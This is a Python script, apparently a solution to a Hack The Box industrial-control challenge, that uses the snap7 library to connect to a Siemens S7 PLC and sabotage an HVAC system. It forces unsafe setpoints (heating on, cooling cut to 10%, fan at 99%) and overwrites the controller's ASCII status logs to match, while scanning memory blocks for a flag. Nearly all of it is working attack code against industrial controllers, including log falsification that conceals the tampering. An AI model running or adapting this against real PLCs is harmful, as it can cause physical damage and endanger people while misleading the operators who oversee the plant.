#!/usr/bin/env python3 import snap7 from snap7.util import set_real, set_bool import re import time # New PLC instance parameters PLC_IP = "94.237.58.172" PLC_PORT = 31766 PLC_RACK = 0 PLC_SLOT = 0 def search_for_flag(data, source=""): """Search for HTB{ pattern in binary data""" # Convert binary data to ASCII ascii_data = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in data) # Search for HTB{ pattern flag_match = re.search(r'HTB\{[^}]*\}', ascii_data) if flag_match: flag = flag_match.group(0) print(f"[+] FLAG FOUND in {source}: {flag}") return flag return None # Create client instance client = snap7.client.Client() # Connect to the PLC with the specified port print(f"[*] Connecting to PLC at {PLC_IP}:{PLC_PORT}...") try: client.connect(PLC_IP, PLC_RACK, PLC_SLOT, tcp_port=PLC_PORT) print("[+] Successfully connected to PLC") # Get CPU state try: cpu_state = client.get_cpu_state() print(f"[*] CPU State: {cpu_state}") except Exception as e: print(f"[-] Error getting CPU state: {e}") # Read initial state of all DBs print("\n[*] Reading initial state of all DBs...") for db_num in range(1, 6): try: data = client.db_read(db_num, 0, 48) ascii_data = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in data) print(f"DB{db_num} Initial: {ascii_data}") # Check for flag search_for_flag(data, f"DB{db_num} initial") except Exception as e: print(f"[-] Error reading DB{db_num}: {e}") except Exception as e: print(f"[-] Connection error: {e}") exit(1) print("[*] Starting sabotage script (real values + ASCII logs)...") # --- Sabotage real control values --- # 1. DB1: Target Temperature -> 50.0°C (offset 4 for real numeric data, since offset 0 is ASCII!) try: data = client.db_read(1, 0, 48) set_real(data, 4, 50.0) # write float at offset 4 client.db_write(1, 0, data) print("[+] DB1: Target temperature set to 50°C (REAL@4)") except Exception as e: print(f"[-] DB1 sabotage failed: {e}") # 2. DB2: Fan Speed -> 99.0% (offset 4) try: data = client.db_read(2, 0, 48) set_real(data, 4, 99.0) client.db_write(2, 0, data) print("[+] DB2: Fan speed set to 99% (REAL@4)") except Exception as e: print(f"[-] DB2 sabotage failed: {e}") # 3. DB3: Cooling -> 10.0% (offset 4) try: data = client.db_read(3, 0, 48) set_real(data, 4, 10.0) client.db_write(3, 0, data) print("[+] DB3: Cooling set to 10% (REAL@4)") except Exception as e: print(f"[-] DB3 sabotage failed: {e}") # 4. DB5: Heat ON (BOOL at offset 0, bit 0) try: data = client.db_read(5, 0, 48) set_bool(data, 0, 0, True) client.db_write(5, 0, data) print("[+] DB5: Heat turned ON (BOOL@0)") except Exception as e: print(f"[-] DB5 sabotage failed: {e}") # --- Overwrite ASCII logs to match sabotage --- ascii_overwrites = { 1: b'TARGET-TEMP:50C SETPOINT:50C MAX:50C MIN:50C ', 2: b'FAN:99% VENT:RECIRC AIR:9999m3/h STAT:ON ', 3: b'COMP:ON COOL:10% PRES:5bar ', 4: b'STATE:OVHT ERR:0 LOG:ALERT ', 5: b'HEAT:ON CAP:100% OVR:1 KEY:0a42417865 ', } for db_num, new_text in ascii_overwrites.items(): try: data = client.db_read(db_num, 0, 48) new_data = new_text.ljust(48, b' ') data = new_data + data[len(new_data):] client.db_write(db_num, 0, data) print(f"[+] DB{db_num}: ASCII log updated to sabotage values.") except Exception as e: print(f"[-] DB{db_num} ASCII overwrite failed: {e}") # Check final state of all DBs after sabotage print("\n[*] Reading final state of all DBs after sabotage...") for db_num in range(1, 6): try: data = client.db_read(db_num, 0, 48) ascii_data = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in data) print(f"DB{db_num} Final: {ascii_data}") # Check for flag search_for_flag(data, f"DB{db_num} final") except Exception as e: print(f"[-] Error reading DB{db_num}: {e}") # Monitor DB4 for a while to see if STATE changes and check for flags print("\n[*] Monitoring DB4 for STATE changes and flags...") for i in range(10): try: time.sleep(1) data = client.db_read(4, 0, 48) ascii_data = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in data) print(f"DB4 Check #{i+1}: {ascii_data}") # Check for flag search_for_flag(data, f"DB4 check #{i+1}") # Check if STATE is OVHT if "STATE:OVHT" in ascii_data: print("[+] SUCCESS! STATE has been changed to OVHT!") except Exception as e: print(f"[-] Error monitoring DB4: {e}") # Disconnect from the PLC client.disconnect() print("\n[*] Disconnected from PLC") print("[*] Final sabotage complete. The HVAC system should now be in OVHT state!")